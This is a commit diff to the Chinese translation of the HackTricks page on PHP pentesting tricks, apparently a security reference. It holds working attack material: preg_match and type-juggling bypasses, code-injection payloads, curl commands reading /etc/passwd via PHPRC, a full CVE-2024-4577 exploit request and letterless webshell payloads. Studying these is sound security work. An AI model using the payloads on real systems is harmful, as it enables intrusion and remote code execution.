mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
parent
6f473ea1cc
commit
6815d2ff5c
1 changed files with 65 additions and 44 deletions
|
@ -6,7 +6,7 @@
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||||
|
@ -50,7 +50,7 @@ PHP 比较表格:[https://www.php.net/manual/en/types.comparisons.php](https:/
|
||||||
- `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同,则结果为 True(字符串中的数字被解释为数字)
|
- `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同,则结果为 True(字符串中的数字被解释为数字)
|
||||||
- `"0e3264578" == 0 --> True` 以 "0e" 开头并跟随任何内容的字符串将等于 0
|
- `"0e3264578" == 0 --> True` 以 "0e" 开头并跟随任何内容的字符串将等于 0
|
||||||
- `"0X3264578" == 0X --> True` 以 "0" 开头并跟随任何字母(X 可以是任何字母)和任何内容的字符串将等于 0
|
- `"0X3264578" == 0X --> True` 以 "0" 开头并跟随任何字母(X 可以是任何字母)和任何内容的字符串将等于 0
|
||||||
- `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下,您可以控制以 "0" 开头的字符串输入以及正在被散列并与之进行比较的某些内容。因此,如果您可以提供一个将创建以 "0e" 开头且没有任何字母的哈希的值,您可以绕过比较。您可以在此处找到具有此格式的**已散列字符串**:[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
- `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下,您可以控制以 "0" 开头的字符串输入以及正在进行哈希并与之进行比较的某些内容。因此,如果您可以提供一个将创建以 "0e" 开头且没有任何字母的哈希的值,您可以绕过比较。您可以在此处找到具有此格式的**已经哈希的字符串**:[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||||
- `"X" == 0 --> True` 字符串中的任何字母等于整数 0
|
- `"X" == 0 --> True` 字符串中的任何字母等于整数 0
|
||||||
|
|
||||||
更多信息请参阅 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
更多信息请参阅 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||||
|
@ -84,9 +84,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||||
|
|
||||||
**`preg_match()`** 可用于**验证用户输入**(它**检查**用户输入中是否存在**黑名单**中的任何**单词/正则表达式**,如果没有,则代码可以继续执行)。
|
**`preg_match()`** 可用于**验证用户输入**(它**检查**用户输入中是否存在**黑名单**中的任何**单词/正则表达式**,如果没有,则代码可以继续执行)。
|
||||||
|
|
||||||
#### 换行绕过
|
#### 换行符绕过
|
||||||
|
|
||||||
然而,当限定正则表达式的开头时,`preg_match()` **只检查用户输入的第一行**,如果你可以以**多行**的方式**发送**输入,你就可以绕过这个检查。示例:
|
然而,当限定正则表达式的开头时,`preg_match()` **只检查用户输入的第一行**,因此如果你可以以**多行**的方式发送输入,就可以绕过这个检查。示例:
|
||||||
```php
|
```php
|
||||||
$myinput="aaaaaaa
|
$myinput="aaaaaaa
|
||||||
11111111"; //Notice the new line
|
11111111"; //Notice the new line
|
||||||
|
@ -99,7 +99,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||||
echo preg_match("/^.*1.*$/",$myinput);
|
echo preg_match("/^.*1.*$/",$myinput);
|
||||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||||
```
|
```
|
||||||
要绕过此检查,您可以使用新行进行url编码(`%0A`)发送值,或者如果可以发送JSON数据,则将其发送在**多行**中:
|
要绕过此检查,您可以使用**新行进行url编码**(`%0A`)发送值,或者如果可以发送**JSON数据**,请将其发送在**多行**中:
|
||||||
```php
|
```php
|
||||||
{
|
{
|
||||||
"cmd": "cat /etc/passwd"
|
"cmd": "cat /etc/passwd"
|
||||||
|
@ -109,8 +109,8 @@ echo preg_match("/^.*1.*$/",$myinput);
|
||||||
|
|
||||||
#### **长度错误绕过**
|
#### **长度错误绕过**
|
||||||
|
|
||||||
(这个绕过似乎在 PHP 5.2.5 上尝试过,但我无法在 PHP 7.3.15 上使其工作)\
|
(这个绕过似乎是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作)\
|
||||||
如果你可以向 `preg_match()` 发送一个非常**大的有效输入**,它将**无法处理**它,你就可以**绕过**检查。例如,如果它在黑名单中列出了一个 JSON,你可以发送:
|
如果你可以向 `preg_match()` 发送一个非常**大的有效输入**,它将**无法处理**它,你将能够**绕过**检查。例如,如果它在黑名单中列出了一个 JSON,你可以发送:
|
||||||
```bash
|
```bash
|
||||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||||
```
|
```
|
||||||
|
@ -123,7 +123,7 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
||||||
简而言之,问题发生在 PHP 中的 `preg_*` 函数建立在 [PCRE 库](http://www.pcre.org/) 的基础上。在 PCRE 中,某些正则表达式是通过大量递归调用来匹配的,这会使用大量堆栈空间。可以设置允许的递归次数上限,但在 PHP 中,此限制[默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超出了堆栈的容量。
|
简而言之,问题发生在 PHP 中的 `preg_*` 函数建立在 [PCRE 库](http://www.pcre.org/) 的基础上。在 PCRE 中,某些正则表达式是通过大量递归调用来匹配的,这会使用大量堆栈空间。可以设置允许的递归次数上限,但在 PHP 中,此限制[默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超出了堆栈的容量。
|
||||||
|
|
||||||
[这个 Stackoverflow 帖子](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中链接,其中更深入地讨论了这个问题。我们的任务现在很明确:\
|
[这个 Stackoverflow 帖子](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中链接,其中更深入地讨论了这个问题。我们的任务现在很明确:\
|
||||||
**发送一个输入,使正则表达式执行 100,000+ 次递归,导致 SIGSEGV,使 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,最后在有效载荷的末尾抛出类似 `{system(<verybadcommand>)} `的内容,以获取 SSTI --> RCE --> flag :)**。
|
**发送一个输入,使正则表达式执行 100,000+ 次递归,导致 SIGSEGV,使 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效载荷的末尾抛出类似 `{system(<verybadcommand>)} `的惊喜,以获取 SSTI --> RCE --> flag :)**。
|
||||||
|
|
||||||
实际上,在正则表达式术语中,我们并没有执行 100,000 次“递归”,而是在计算“回溯步骤”,正如[PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)所述,默认情况下 `pcre.backtrack_limit` 变量为 1,000,000(1M)。\
|
实际上,在正则表达式术语中,我们并没有执行 100,000 次“递归”,而是在计算“回溯步骤”,正如[PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)所述,默认情况下 `pcre.backtrack_limit` 变量为 1,000,000(1M)。\
|
||||||
要达到这个目标,`'X'*500_001` 将导致 100 万次回溯步骤(50 万次向前和 50 万次向后):
|
要达到这个目标,`'X'*500_001` 将导致 100 万次回溯步骤(50 万次向前和 50 万次向后):
|
||||||
|
@ -141,9 +141,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
|
||||||
$obfs .= ""; //string "7"
|
$obfs .= ""; //string "7"
|
||||||
$obfs += ""; //int 7
|
$obfs += ""; //int 7
|
||||||
```
|
```
|
||||||
## 执行重定向后 (EAR)
|
## 在重定向后执行(EAR)
|
||||||
|
|
||||||
如果 PHP 正在重定向到另一个页面,但在设置了头部 `Location` 后没有调用 **`die`** 或 **`exit`** 函数,PHP 将继续执行并将数据附加到主体中:
|
如果 PHP 正在重定向到另一个页面,但在设置了头部的 `Location` 后没有调用 **`die`** 或 **`exit`** 函数,PHP 将继续执行并将数据附加到主体中:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
// In this page the page will be read and the content appended to the body of
|
// In this page the page will be read and the content appended to the body of
|
||||||
|
@ -163,9 +163,9 @@ readfile($page);
|
||||||
|
|
||||||
## 更多技巧
|
## 更多技巧
|
||||||
|
|
||||||
* **register\_globals**: 在 **PHP < 4.1.1.1** 或者配置错误的情况下,**register\_globals** 可能会被激活(或者它们的行为被模仿)。这意味着在全局变量中,比如 $\_GET,如果它们有一个值,比如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量**。
|
* **register\_globals**: 在 **PHP < 4.1.1.1** 或者配置错误的情况下,**register\_globals** 可能会被激活(或者它们的行为被模仿)。这意味着在全局变量中,比如 $\_GET 如果它们有一个值,比如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量**。
|
||||||
* **PHPSESSION cookies of the same domain are stored in the same place**,因此如果在一个域中**不同路径中使用不同的 cookies**,你可以使一个路径**访问另一个路径的 cookie**,设置另一个路径 cookie 的值。这样,如果**两个路径访问具有相同名称的变量**,你可以使**路径1 中该变量的值应用于路径2**。然后路径2将视路径1的变量为有效(通过给 cookie 分配在路径2中对应的名称)。
|
* **PHPSESSION cookies of the same domain are stored in the same place**,因此如果在一个域中**不同路径中使用不同的 cookies**,你可以使一个路径**访问另一个路径的 cookie**,设置另一个路径 cookie 的值。这样,如果**两个路径访问具有相同名称的变量**,你可以使**路径1 中该变量的值应用于路径2**。然后路径2将视路径1的变量为有效(通过给 cookie 赋予在路径2中对应的名称)。
|
||||||
* 当你有机器用户的**用户名**时,请检查地址:**/\~\<USERNAME>**,看看是否激活了 php 目录。
|
* 当你有机器用户的**用户名**时,请检查地址: **/\~\<USERNAME>** 看看是否激活了 php 目录。
|
||||||
* [**使用 php wrappers 进行 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
|
* [**使用 php wrappers 进行 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
|
||||||
|
|
||||||
### password\_hash/password\_verify
|
### password\_hash/password\_verify
|
||||||
|
@ -179,13 +179,13 @@ False
|
||||||
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||||
True
|
True
|
||||||
```
|
```
|
||||||
### 绕过滥用 PHP 错误的 HTTP 头部
|
### 绕过 HTTP 头部滥用 PHP 错误
|
||||||
|
|
||||||
#### 在设置头部后引发错误
|
#### 在设置头部后引发错误
|
||||||
|
|
||||||
从[**这个推特帖子**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)中可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件,PHOP 将不会在响应中设置头部。
|
从[**这个推特帖子**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)中可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件,PHOP 将不会在响应中设置头部。
|
||||||
|
|
||||||
允许绕过例如在代码中设置的 CSP 头部:
|
允许绕过例如在代码中设置 CSP 头部的情况:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
header("Content-Security-Policy: default-src 'none';");
|
header("Content-Security-Policy: default-src 'none';");
|
||||||
|
@ -194,7 +194,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||||
#### 在设置头部之前填充主体
|
#### 在设置头部之前填充主体
|
||||||
|
|
||||||
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印回一些**足够长的内容**,这样当它尝试**将头部添加到响应中**时,服务器将抛出错误。\
|
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印回一些**足够长的内容**,这样当它尝试**将头部添加到响应中**时,服务器将抛出错误。\
|
||||||
在以下场景中,**攻击者让服务器抛出一些大错误**,正如您在屏幕上看到的,当 PHP 尝试**修改头部信息时,它无法**(例如,CSP 头部未发送给用户):
|
在以下场景中,**攻击者让服务器抛出一些大错误**,正如您在屏幕上看到的,当 PHP 尝试**修改头部信息时,它无法**(例如 CSP 头部未发送给用户):
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (1085).png>)
|
![](<../../../.gitbook/assets/image (1085).png>)
|
||||||
|
|
||||||
|
@ -237,10 +237,10 @@ preg_replace("/a/e","phpinfo()","whatever")
|
||||||
```
|
```
|
||||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||||
```
|
```
|
||||||
### 通过usort()实现RCE
|
### 通过 usort() 实现远程代码执行(RCE)
|
||||||
|
|
||||||
该函数用于使用特定函数对项目数组进行排序。\
|
这个函数用于使用特定函数对项目数组进行排序。\
|
||||||
要滥用此功能:
|
要滥用这个函数:
|
||||||
```php
|
```php
|
||||||
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
||||||
VALUE: );phpinfo();#
|
VALUE: );phpinfo();#
|
||||||
|
@ -260,38 +260,59 @@ function foo($x,$y){
|
||||||
usort();}phpinfo;#, "cmp");
|
usort();}phpinfo;#, "cmp");
|
||||||
}?>
|
}?>
|
||||||
```
|
```
|
||||||
### 使用 **//** 进行代码注释
|
### 使用 **//** 进行代码注释。
|
||||||
|
|
||||||
要发现需要关闭的括号数量:
|
要发现需要关闭的括号数量:
|
||||||
|
|
||||||
* `?order=id;}//`:我们会收到一个错误消息(`Parse error: syntax error, unexpected ';'`)。我们可能缺少一个或多个括号。
|
- `?order=id;}//`:我们收到一个错误消息(`Parse error: syntax error, unexpected ';'`)。我们可能缺少一个或多个括号。
|
||||||
* `?order=id);}//`:我们会收到一个**警告**。看起来差不多了。
|
- `?order=id);}//`:我们收到一个**警告**。这看起来差不多正确。
|
||||||
* `?order=id));}//`:我们会收到一个错误消息(`Parse error: syntax error, unexpected ')' i`)。我们可能有太多的闭合括号。
|
- `?order=id));}//`:我们收到一个错误消息(`Parse error: syntax error, unexpected ')' i`)。我们可能有太多的闭合括号。
|
||||||
|
|
||||||
### 通过 .httaccess 实现 RCE
|
### 通过 .httaccess 实现 RCE
|
||||||
|
|
||||||
如果你可以**上传**一个 **.htaccess** 文件,那么你可以**配置**几个东西,甚至执行代码(配置允许执行扩展名为 .htaccess 的文件)。
|
如果你可以**上传**一个 **.htaccess** 文件,那么你可以**配置**几个东西,甚至执行代码(配置扩展名为 .htaccess 的文件可以**执行**)。
|
||||||
|
|
||||||
可以在[这里](https://github.com/wireghoul/htshells)找到不同的 .htaccess shells。
|
可以在[这里](https://github.com/wireghoul/htshells)找到不同的 .htaccess shells。
|
||||||
|
|
||||||
### 通过环境变量实现 RCE
|
### 通过环境变量实现 RCE
|
||||||
|
|
||||||
如果你发现一个漏洞允许你**修改 PHP 中的环境变量**(还有另一个允许上传文件的漏洞,尽管通过更多研究也许可以绕过),你可以滥用这种行为来实现**RCE**。
|
如果你发现一个允许你**修改 PHP 环境变量**的漏洞(以及另一个允许上传文件的漏洞,尽管通过更多研究可能可以绕过),你可以滥用这种行为来获得**RCE**。
|
||||||
|
|
||||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):这个环境变量允许你在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
|
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):这个环境变量允许你在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
|
||||||
* **`PHPRC`**:指示 PHP **查找其配置文件** 的位置,通常称为 `php.ini`。如果你可以上传自己的配置文件,那么使用 `PHPRC` 来指向它。添加一个**`auto_prepend_file`**条目,指定第二个上传的文件。这第二个文件包含正常的**PHP代码,然后由 PHP 运行时执行**,在执行任何其他代码之前。
|
- **`PHPRC`**:指示 PHP **查找其配置文件**的位置,通常称为 `php.ini`。如果你可以上传自己的配置文件,那么使用 `PHPRC` 来指向 PHP。添加一个**`auto_prepend_file`**条目,指定第二个上传的文件。这第二个文件包含正常的**PHP代码,然后由 PHP 运行时执行**,在任何其他代码之前。
|
||||||
1. 上传一个包含我们的 shellcode 的 PHP 文件
|
1. 上传一个包含我们的 shellcode 的 PHP 文件
|
||||||
2. 上传第二个文件,其中包含一个**`auto_prepend_file`**指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
|
2. 上传第二个文件,包含一个**`auto_prepend_file`**指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
|
||||||
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。
|
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。
|
||||||
* 获取有关如何执行此链的更多信息[**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
|
- 获取有关如何执行此链的更多信息[**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
|
||||||
* **PHPRC** - 另一个选项
|
- **PHPRC** - 另一个选项
|
||||||
* 如果你**无法上传文件**,你可以在 FreeBSD 中使用名为“file”的文件 `/dev/fd/0`,其中包含**`stdin`**,即发送到 `stdin` 的请求的**主体**:
|
- 如果你**无法上传文件**,你可以在 FreeBSD 中使用文件 `/dev/fd/0`,其中包含**`stdin`**,即发送到 `stdin` 的请求的**主体**:
|
||||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||||
* 或者要获得 RCE,请启用**`allow_url_include`**并在一个文件中添加**base64 PHP代码**:
|
- 或者要获得 RCE,启用**`allow_url_include`**并在一个文件中添加**base64 PHP代码**:
|
||||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||||
* 技术[**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。
|
- 技术[**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。
|
||||||
|
|
||||||
## PHP 静态分析
|
### XAMPP CGI RCE - CVE-2024-4577
|
||||||
|
|
||||||
|
Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本,例如 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) 作为 `php.exe cgi.php foo=bar`,这允许参数注入。这将允许注入以下参数以从主体加载 PHP 代码:
|
||||||
|
```jsx
|
||||||
|
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||||
|
```
|
||||||
|
此外,由于 PHP 后期的规范化,可以使用 0xAD 字符注入“-”参数。查看[**此帖子**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)中的漏洞利用示例:
|
||||||
|
```jsx
|
||||||
|
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||||
|
Host: {{host}}
|
||||||
|
User-Agent: curl/8.3.0
|
||||||
|
Accept: */*
|
||||||
|
Content-Length: 23
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Connection: keep-alive
|
||||||
|
|
||||||
|
<?php
|
||||||
|
phpinfo();
|
||||||
|
?>
|
||||||
|
|
||||||
|
```
|
||||||
|
## PHP静态分析
|
||||||
|
|
||||||
查看是否可以在对这些函数的调用中插入代码(来自[这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
查看是否可以在对这些函数的调用中插入代码(来自[这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||||
```php
|
```php
|
||||||
|
@ -301,13 +322,13 @@ $_COOKIE | if #This mea
|
||||||
```
|
```
|
||||||
如果您正在调试PHP应用程序,可以在`/etc/php5/apache2/php.ini`中添加`display_errors = On`来全局启用错误打印,并重新启动apache:`sudo systemctl restart apache2`
|
如果您正在调试PHP应用程序,可以在`/etc/php5/apache2/php.ini`中添加`display_errors = On`来全局启用错误打印,并重新启动apache:`sudo systemctl restart apache2`
|
||||||
|
|
||||||
### 解密PHP代码
|
### 解混淆PHP代码
|
||||||
|
|
||||||
您可以使用**网站**[**www.unphp.net**](http://www.unphp.net)**来解密PHP代码。**
|
您可以使用**网站**[**www.unphp.net**](http://www.unphp.net)**来解混淆PHP代码。**
|
||||||
|
|
||||||
## PHP包装器和协议
|
## PHP包装器和协议
|
||||||
|
|
||||||
PHP包装器和协议可以让您**绕过系统中的写入和读取保护**,从而对其进行破坏。有关[**更多信息,请查看此页面**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
|
PHP包装器和协议可以让您**绕过系统中的写入和读取保护**,并对其进行破坏。有关[**更多信息,请查看此页面**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
|
||||||
|
|
||||||
## Xdebug未经身份验证的RCE
|
## Xdebug未经身份验证的RCE
|
||||||
|
|
||||||
|
@ -327,7 +348,7 @@ echo "$x ${Da}"; //Da Drums
|
||||||
```
|
```
|
||||||
## 利用新的 $\_GET\["a"]\($\_GET\["b"])
|
## 利用新的 $\_GET\["a"]\($\_GET\["b"])
|
||||||
|
|
||||||
如果在一个页面中**可以创建任意类的新对象**,则可能能够获得RCE,请查看以下页面以了解详情:
|
如果在一个页面中你可以**创建一个任意类的新对象**,你可能能够获得RCE,请查看以下页面了解详情:
|
||||||
|
|
||||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||||
|
@ -357,16 +378,16 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||||
|
|
||||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||||
```
|
```
|
||||||
所以,如果你可以**执行任意PHP代码而不使用数字和字母**,你可以发送如下请求来滥用该有效载荷来执行任意PHP代码:
|
所以,如果你可以**执行任意PHP代码而不使用数字和字母**,你可以发送一个请求,滥用该有效负载来执行任意PHP代码:
|
||||||
```
|
```
|
||||||
POST: /action.php?_=system&__=cat+flag.php
|
POST: /action.php?_=system&__=cat+flag.php
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
||||||
```
|
```
|
||||||
要了解更详细的解释,请查看[https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
|
要获取更详细的解释,请查看[https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
|
||||||
|
|
||||||
### 异或 Shellcode(在 eval 中)
|
### XOR Shellcode(在eval内部)
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
|
@ -437,7 +458,7 @@ $___($_[_]); // ASSERT($_POST[_]);
|
||||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue